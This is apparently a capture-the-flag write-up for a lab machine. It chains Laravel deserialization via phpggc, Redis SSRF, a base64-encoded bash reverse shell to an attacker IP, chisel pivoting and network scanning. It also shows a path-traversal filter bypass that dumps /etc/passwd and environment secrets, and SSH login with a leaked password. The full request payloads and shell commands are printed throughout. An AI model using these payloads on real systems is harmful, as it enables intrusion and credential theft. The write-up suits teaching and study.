Laravel/RCE5                              5.8.30                                                  RCE: PHP Code             __destruct     *    
Laravel/RCE6                              5.5.* <= 5.8.35                                         RCE: PHP Code             __destruct     *    
Laravel/RCE7                              ? <= 8.16.1                                             RCE: Command              __destruct     *    
Laravel/RCE8                              7.0.0 <= 8.6.9+                                         RCE: Command              __destruct     *    
Laravel/RCE9                              5.4.0 <= 9.1.8+                                         RCE: Command              __destruct          
Laravel/RCE10                             5.6.0 <= 9.1.8+                                         RCE: Command              __toString          
Laravel/RCE11                             5.4.0 <= 9.1.8+                                         RCE: Command              __destruct          
Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                   RCE: Command              __destruct     *    
Laravel/RCE13                             5.3.0 <= 9.5.1+                                         RCE: Command              __destruct     *    
Laravel/RCE14                             5.3.0 <= 9.5.1+                                         RCE: Command              __destruct          
Laravel/RCE15                             5.5.0 <= v9.5.1+                                        RCE: Command              __destruct          
Laravel/RCE16                             5.6.0 <= v9.5.1+                                        RCE: Command              __destruct          
Laravel/RCE17                             10.31.0                                                 RCE: Command              __destruct          
Laravel/RCE18                             10.31.0                                                 RCE: PHP Code             __destruct     *   
Laravel/RCE18                             10.31.0  

According to the laravel debug crash the version is 9.46.0. so the exploit can ve done using one of the following :

  • Laravel/RCE9-11
  • Laravel/RCE13-16

Actually what i did is just try all of them 😰 but according to the awesome person 0xdf since the biggest risk always comes from null bytes so he write this simple elegant piece of code to do the job

1
2
(kali㉿kali)-[~]$ for num in 9 10 11 13 14 15 16; do ./phpggc Laravel/RCE${num} system id | grep -Paq "\x00" || echo "RCE${num} is good"; done
RCE10 is good

So will going to use RCE10. So let’s start with simple malicious object just to run whoami.

1
2
(kali㉿kali)-[~]$ ./phpggc Laravel/RCE10 system whoami
O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"system";s:8:"provider";s:6:"whoami";}i:1;s:4:"user";}}

So let’s craft our full malicious payload and mind the following :

  • The whole malicious object have to be in single qoute to not break reqest body.
  • Escape all the double qoutes using backslash since we are on json value.
  • Escape all backslashes since we use backsalah as escape char

So the final payload will be like the following :

1
2
3
4
5
6
7
8
9
10
POST /webhooks/572ef42e-3eaf-4c72-85c7-95b5b40d6eaf HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
User-Agent: curl/8.3.0
Accept: */*
x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM
Content-Type: application/json
Connection: close
Content-Length: 463

{"url":"http://redis:6379","method":"\r\nSET laravel_session:wbqrcx7hGrse38Ml42klHoy7rllfKHOWJmFDeJmJ 'O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:6:\"whoami\";}i:1;s:4:\"user\";}}'\r\nMIGRATE 10.10.16.67 6379 laravel_session:wbqrcx7hGrse38Ml42klHoy7rllfKHOWJmFDeJmJ 0 5000 COPY REPLACE\r\n"}

Now when we make any request using our laravel token we got command execution

Getting Shell

Using revshells i created my encoded shell

Then let’s trying to create our malicious object

1
2
./phpggc Laravel/RCE10 system 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjY3LzQ0MyAwPiYx|base64 -d |bash'
O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"system";s:8:"provider";s:81:"echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjY3LzQ0MyAwPiYx|base64 -d |bash";}i:1;s:4:"user";}}

So our final request will be like the following

1
2
3
4
5
6
7
8
9
10
POST /webhooks/572ef42e-3eaf-4c72-85c7-95b5b40d6eaf HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
User-Agent: curl/8.3.0
Accept: */*
x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM
Content-Type: application/json
Connection: close
Content-Length: 539

{"url":"http://redis:6379","method":"\r\nSET laravel_session:wbqrcx7hGrse38Ml42klHoy7rllfKHOWJmFDeJmJ 'O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:81:\"echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjY3LzQ0MyAwPiYx|base64 -d |bash\";}i:1;s:4:\"user\";}}'\r\nMIGRATE 10.10.16.67 6379 laravel_session:wbqrcx7hGrse38Ml42klHoy7rllfKHOWJmFDeJmJ 0 5000 COPY REPLACE\r\n"}

And wehen we make any request using our laravel token we got our reverse shell

1
2
3
4
5
6
(kali㉿kali)-[~]$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.67] from (UNKNOWN) [10.10.11.228] 58504
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@070370e2cdc4:~/html/public$ 

Shell as john

Enumeration Container

We very much in a docker container. Because as we can see we know that the webapp listen on port 80 but we cann’t found that here. Also the hostname 070370e2cdc4 is typically what used for the container by defaults

1
2
www-data@070370e2cdc4:~$ curl http://127.0.0.1
curl: (7) Failed to connect to 127.0.0.1 port 80 after 0 ms: Couldn't connect to server

Netstat without Netstat

Trying to check which ports are listen on the container using netstat but found that it is not installed

1
2
www-data@070370e2cdc4:~/html$ netstat
bash: netstat: command not found

So to solve that i used the following code which is pure bash from this gist to do the job

1
2
3
4
5
6
7
8
9
10
grep -v "rem_address" /proc/net/tcp  | awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
} {x=hextodec(substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."hextodec(substr($2,i,2))}{print x":"hextodec(substr($2,index($2,":")+1,4))}'

The script reveal the following ports nothing intersting here.

1
2
3
4
5
127.0.0.11:35025
172.18.0.7:60136
172.18.0.7:58504
172.18.0.7:48938
172.18.0.7:52018

After that we can see in the .env file here we found that the host for the mysql DB is called db so let’s try to check it.

But we can’t find ping tool in the container do we use curl instead

1
2
www-data@070370e2cdc4:~$ ping db
bash: ping: command not found
1
2
3
4
5
6
www-data@070370e2cdc4:~$ curl -v db     
*   Trying 172.18.0.5:80...
* connect to 172.18.0.5 port 80 failed: Connection refused
* Failed to connect to db port 80 after 1 ms: Couldn't connect to server
* Closing connection 0
curl: (7) Failed to connect to db port 80 after 1 ms: Couldn't connect to server

Pivot

As we can see we found that the db hosname is rsolve to 172.18.0.5 ip. Since the container doesn’t has mysql tool so will upload chisel to the container and pivoit through it to the db host

On our attacker machine

1
2
3
4
5
6
(kali㉿kali)-[~]$ chisel server -p 9001 --reverse
2023/12/02 08:33:41 server: Reverse tunnelling enabled
2023/12/02 08:33:41 server: Fingerprint liS3v6y5XW3DbKVxnTGfUlqxOC5im5JxCu08LJ5LuL0=
2023/12/02 08:33:41 server: Listening on http://0.0.0.0:9001
2023/12/02 08:33:54 server: session#1: Client version (1.9.1) differs from server version (1.8.1)
2023/12/02 08:33:54 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

On the target container

1
2
3
www-data@070370e2cdc4:~/html$ ./chisel client 10.10.16.67:9001 R:socks
2023/12/02 13:33:53 client: Connecting to ws://10.10.16.67:9001
2023/12/02 13:33:54 client: Connected (Latency 73.47824ms

Now we can connect to the mysql DB with the credentials from the .env file root:root

1
2
3
4
5
6
(kali㉿kali)-[~]$ proxychains4 -q mysql -h 172.18.0.5 -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2371
Server version: 8.0.33 MySQL Community Server - GPL
...[snip]...

This was dead end because after enum the mysql you will found some encrypted admin password but trying to crack them will not work.

Network Scan

Since the container is already communicated with other ips like db : 172.18.0.5 so let’s checl if there is any other ips the container communicate with

1
2
3
4
5
6
www-data@070370e2cdc4:~/html$ cat /proc/net/arp    
IP address       HW type     Flags       HW address            Mask     Device
172.18.0.3       0x1         0x2         02:42:ac:12:00:03     *        eth0
172.18.0.4       0x1         0x2         02:42:ac:12:00:04     *        eth0
172.18.0.5       0x1         0x2         02:42:ac:12:00:05     *        eth0
172.18.0.1       0x1         0x2         02:42:24:f0:20:8d     *        eth0

So let’s scan those IPs looking for any intersting stuff. If we do this through chisel will take too much time so i download pre compiled static nmap and upload it to the container to be used from it

1
2
3
4
5
6
www-data@070370e2cdc4:~/html$ curl http://10.10.16.67/nmap -o nmap 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 5805k  100 5805k    0     0  1155k      0  0:00:05  0:00:05 --:--:-- 1335k

www-data@070370e2cdc4:~/html$ chmod +x nmap

Check Up hosts first

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@070370e2cdc4:~/html$ ./nmap -sn 172.18.0.0/24

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-12-02 17:09 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.0033s latency).
Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.2)
Host is up (0.0020s latency).
Nmap scan report for cybermonday_redis_1.cybermonday_default (172.18.0.3)
Host is up (0.0016s latency).
Nmap scan report for cybermonday_nginx_1.cybermonday_default (172.18.0.4)
Host is up (0.0014s latency).
Nmap scan report for cybermonday_db_1.cybermonday_default (172.18.0.5)
Host is up (0.0012s latency).
Nmap scan report for cybermonday_api_1.cybermonday_default (172.18.0.6)
Host is up (0.00094s latency).
Nmap scan report for 070370e2cdc4 (172.18.0.7)
Host is up (0.00064s latency).
Nmap done: 256 IP addresses (7 hosts up) scanned in 16.04 seconds

Nmap Error

1
2
3
4
5
6
www-data@070370e2cdc4:~/html$ ./nmap --min-rate 10000 172.18.0.1-10

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-12-02 17:11 UTC
Unable to find nmap-services!  Resorting to /etc/services
Unable to open /etc/services for reading service information
QUITTING!

To solve this issue copy the /etc/services file then save it as nmap-services in the same directory as nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
www-data@070370e2cdc4:~/html$ ./nmap --min-rate 10000 -p- 172.18.0.1-10

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-12-02 17:21 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.0026s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.2)
Host is up (0.0015s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
5000/tcp open  unknown

Nmap scan report for cybermonday_redis_1.cybermonday_default (172.18.0.3)
Host is up (0.00090s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
6379/tcp open  redis

Nmap scan report for cybermonday_nginx_1.cybermonday_default (172.18.0.4)
Host is up (0.0021s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for cybermonday_db_1.cybermonday_default (172.18.0.5)
Host is up (0.00095s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
3306/tcp  open  mysql
33060/tcp open  unknown

Nmap scan report for cybermonday_api_1.cybermonday_default (172.18.0.6)
Host is up (0.0050s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 070370e2cdc4 (172.18.0.7)
Host is up (0.0022s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
9000/tcp open  unknown

Nmap done: 10 IP addresses (7 hosts up) scanned in 311.00 seconds

cybermonday_registry

From it’s name it seems to be a docker Registry accordng to this website we can list the repositories on it like the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(kali㉿kali)-[~]$ proxychains4 -q curl -s http://172.18.0.2:5000/v2/_catalog|jq .
{
  "repositories": [
    "cybermonday_api"
  ]
}

(kali㉿kali)-[~]$ proxychains4 -q curl -s http://172.18.0.2:5000/v2/cybermonday_api/tags/list|jq .
{
  "name": "cybermonday_api",
  "tags": [
    "latest"
  ]
}

Trying to pull the image many times but fail

1
2
3
4
(kali㉿kali)-[~]$ sudo proxychains4 -q docker pull 172.18.0.2:5000/cybermonday_api
[sudo] password for kali: 
Using default tag: latest
Error response from daemon: Get "https://172.18.0.2:5000/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

After alot of struggle why this happend i find out the docker is written in Go lang which is not working good with proxychains according to this link

To solve this we change the chisel on the container to local port forwarding

1
www-data@070370e2cdc4:~/html$ ./chisel client 10.10.16.67:9001 R:172.18.0.2:5000

Now Trying the pull again and it’s working fine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(kali㉿kali)-[~]$ sudo docker pull 127.0.0.1:5000/cybermonday_api
Using default tag: latest
latest: Pulling from cybermonday_api
5b5fe70539cd: Pull complete 
affe9439d2a2: Pull complete 
1684de57270e: Pull complete 
dc968f4da64f: Pull complete 
57fbc4474c06: Pull complete 
9f5fbfd5edfc: Pull complete 
5c3b6a1cbf54: Pull complete 
4756652e14e0: Pull complete 
57cdb531a15a: Pull complete 
1696d1b2f2c3: Pull complete 
ca62759c06e1: Pull complete 
ced3ae14b696: Pull complete 
beefd953abbc: Pull complete 
Digest: sha256:72cf91d5233fc1bedc60ce510cd8166ce0b17bd1e9870bbc266bf31aca92ee5d
Status: Downloaded newer image for 127.0.0.1:5000/cybermonday_api:latest
127.0.0.1:5000/cybermonday_api:latest

Now let’s run the container

1
2
3
4
5
(kali㉿kali)-[~]$ sudo docker run -d --rm 127.0.0.1:5000/cybermonday_api
9591a7b6282fa4a82a1cc3afd78e22ad5074ebd22de91e61a395eff69c1403a6
(kali㉿kali)-[~]$ sudo docker ps
CONTAINER ID   IMAGE                            COMMAND                  CREATED          STATUS          PORTS     NAMES
9591a7b6282f   127.0.0.1:5000/cybermonday_api   "docker-php-entrypoi…"   36 seconds ago   Up 35 seconds             nervous_pike

Getting bash shell into the docker

1
2
3
(kali㉿kali)-[~]$ sudo docker exec -it 9591a7b6282f bash

root@9591a7b6282f:/var/www/html# 

We found a .ssh dir which doesn’t have private key but it reveal a user on the machine call john

1
2
www-data@070370e2cdc4:/mnt$ cat .ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy9ETY9f4YGlxIufnXgnIZGcV4pdk94RHW9DExKFNo7iEvAnjMFnyqzGOJQZ623wqvm2WS577WlLFYTGVe4gVkV2LJm8NISndp9DG9l1y62o1qpXkIkYCsP0p87zcQ5MPiXhhVmBR3XsOd9MqtZ6uqRiALj00qGDAc+hlfeSRFo3epHrcwVxAd41vCU8uQiAtJYpFe5l6xw1VGtaLmDeyektJ7QM0ayUHi0dlxcD8rLX+Btnq/xzuoRzXOpxfJEMm93g+tk3sagCkkfYgUEHp6YimLUqgDNNjIcgEpnoefR2XZ8EuLU+G/4aSNgd03+q0gqsnrzX3Syc5eWYyC4wZ93f++EePHoPkObppZS597JiWMgQYqxylmNgNqxu/1mPrdjterYjQ26PmjJlfex6/BaJWTKvJeHAemqi57VkcwCkBA9gRkHi9SLVhFlqJnesFBcgrgLDeG7lzLMseHHGjtb113KB0NXm49rEJKe6ML6exDucGHyHZKV9zgzN9uY4ntp2T86uTFWSq4U2VqLYgg6YjEFsthqDTYLtzHer/8smFqF6gbhsj7cudrWap/Dm88DDa3RW3NBvqwHS6E9mJNYlNtjiTXyV2TNo9TEKchSoIncOxocQv0wcrxoxSjJx7lag9F13xUr/h6nzypKr5C8GGU+pCu70MieA8E23lWtw== john@cybermonday

After doing alot of enum i found nothing except the codes in the /var/www/html dir so it has to be my way in

Source Code Review

Let’s copy the content of the HTML dir to our machine then open it using VScode.

1
2
3
(kali㉿kali)-[~]$ sudo docker cp 9591a7b6282f:/var/www/html/ .
(kali㉿kali)-[~]$ cd html
(kali㉿kali)-[~]$ code .

When i opened the code i notice that SNYK i notice that it tell us that there is a piece of the code which could be vuln to Path Traversal so let’s check it

This is the code which SNYK report to us

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$logPath = "/logs/{$webhook_find->name}/";

switch($this->data->action)
{
    case "list":
        $logs = scandir($logPath);
        array_splice($logs, 0, 1); array_splice($logs, 0, 1);

        return $this->response(["status" => "success", "message" => $logs]);
    
    case "read":
        $logName = $this->data->log_name;

        if(preg_match("/\.\.\//", $logName))
        {
            return $this->response(["status" => "error", "message" => "This log does not exist"]);
        }

        $logName = str_replace(' ', '', $logName);

        if(stripos($logName, "log") === false)
        {
            return $this->response(["status" => "error", "message" => "This log does not exist"]);
        }

        if(!file_exists($logPath.$logName))
        {
            return $this->response(["status" => "error", "message" => "This log does not exist"]);
        }

        $logContent = file_get_contents($logPath.$logName);
        


        return $this->response(["status" => "success", "message" => $logContent]);
}

This code is appears to do the filter on the Api action which called createLogFile which we found before in the Webhooks part

The filter is working as the following :

  • Line 14 : This will remove any two period behind each other like this .. followed by slash so any ..\ will be removed
  • Line 19 : This will remove any spaces like this ‘ ‘
  • Line 21 : Check if the string log exist in the log name
  • Line 26 : Ensure that the file exist.

And the checks are working in sequential order

Bypass The Filters :

  • Make two periods but with speace between them like this . .. This will make it pass the first filter and the sec filter will return them to .. again because it remove spaces
  • The Traversal path have to contain log string so the payload have to be something like . ./. ./log
  • The file exist we used have to be exist so we will use /var/log dir because it is exist in linux machines by default
    The Final Payload : . ./. ./. ./. ./. ./. ./var/log/. ./. ./etc/passwd

After some testing i found the following route /webhooks/:uuid/logs at app/routes/Router.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function get()
{
    return [
        "get" => [
            "/" => "IndexController@index",
            "/webhooks" => "WebhooksController@index"
        ],
        "post" => [
            "/auth/register" => "AuthController@register",
            "/auth/login" => "AuthController@login",
            "/webhooks/create" => "WebhooksController@create",
            "/webhooks/:uuid" => "WebhooksController@get",
            "/webhooks/:uuid/logs" => "LogsController@index"
        ],
        "delete" => [
            "/webhooks/delete/:uuid" => "WebhooksController@delete",
        ]
    ];
}

So let’s give it a try

So After reviewing the code in the again LogsController.php found this part

1
2
3
4
5
6
7
8
9
class LogsController extends Api
{
    public function index($request)
    {
        $this->apiKeyAuth();

        $webhook = new Webhook;
        $webhook_find = $webhook->find("uuid", $request->uuid);
        ...[snip]...

So let’s try searching for this apiKeyAuth

1
2
3
4
(kali㉿kali)-[~]$ grep -Ri 'apiKeyAuth'
grep: keys/private.pem: Permission denied
app/helpers/Api.php:    public function apiKeyAuth()
app/controllers/LogsController.php:        $this->apiKeyAuth();

So we open the app/helpers/Api.php file and found in it the value of the Api key and also the new header X-API-KEY to be used

1
2
3
4
5
6
7
8
9
public function apiKeyAuth()
{
    $this->api_key = "22892e36-1770-11ee-be56-0242ac120002";

    if(!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key)
    {
        return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
    }
}

So let’s give it a try again and it is working

Read Logs

Now let’s create new Webhook

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -d '{"name": "0xRyuzak1_Log", "description": "Anything", "action": "createLogFile"}' -H "Content-type: application/json"
{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"20792727-1a4e-45aa-90ca-11950a3e6abb"}

Now let’s create new log file with simple content

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/20792727-1a4e-45aa-90ca-11950a3e6abb -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -d '{"log_name": "0xRyuzak1", "log_content": "Testing"}' -H "Content-type: application/json"
{"status":"success","message":"Log created"}

Check if the log created correctly

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/20792727-1a4e-45aa-90ca-11950a3e6abb/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -d '{"action": "list"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"success","message":["0xRyuzak1-1701718652.log"]}

Reading the log content

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/20792727-1a4e-45aa-90ca-11950a3e6abb/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -d '{"action": "read", "log_name": "0xRyuzak1-1701718652.log"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"success","message":"Testing\n"}

Path Traversal

Now following the bypass step which we declared before so the payload will be this . ./. ./var/log/. ./. ./etc/passwd

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/20792727-1a4e-45aa-90ca-11950a3e6abb/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -d '{"action": "read", "log_name": ". ./. ./var/log/. ./. ./etc/passwd"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"success","message":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n"}

After alot of checking i dumped the proc/self/environ file which contatins this password DBPASS=ngFfX2L71Nu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(kali㉿kali)-[~]$ curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/20792727-1a4e-45aa-90ca-11950a3e6abb/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -d '{"action": "read", "log_name": ". ./. ./var/log/. ./. ./proc/self/environ"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" |jq -r .message|sed 's/\x0/\n/g'
HOSTNAME=e1862f4e1242
PHP_INI_DIR=/usr/local/etc/php
HOME=/root
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
DBPASS=ngFfX2L71Nu
PHP_VERSION=8.2.7
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.7.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.2.7.tar.xz
DBHOST=db
DBUSER=dbuser
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBNAME=webhooks_api
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev                make  pkg-config               re2c
PWD=/var/www/html
PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0

After some try and error i found that this password is the password for the john user which we get before from the .ssh dir

1
2
3
4
5
6
7
8
9
10
sshpass -p 'ngFfX2L71Nu' ssh john@cybermonday.htb
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
...[snip]...
Last login: Sat Dec 2 15:16:08 2023 from 10.10.16.67
john@cybermonday:~$ whoami
john

Now we can get user.txt file

1
2
john@cybermonday:~$ cat user.txt 
f02c98b77201********************

Shell as Root

Enumeration

When i got a a shell as user with password in linux first thing i do is run sudo -l

1
2
3
4
5
6
7
john@cybermonday:~$ sudo -l
[sudo] password for john: 
Matching Defaults entries for john on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on localhost:
    (root) /opt/secure_compose.py *.yml

As we can see john can run this python script /opt/secure_compose.py on yml file as root

Source Code Review

This is the python script which we found in /opt/secure_compose.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
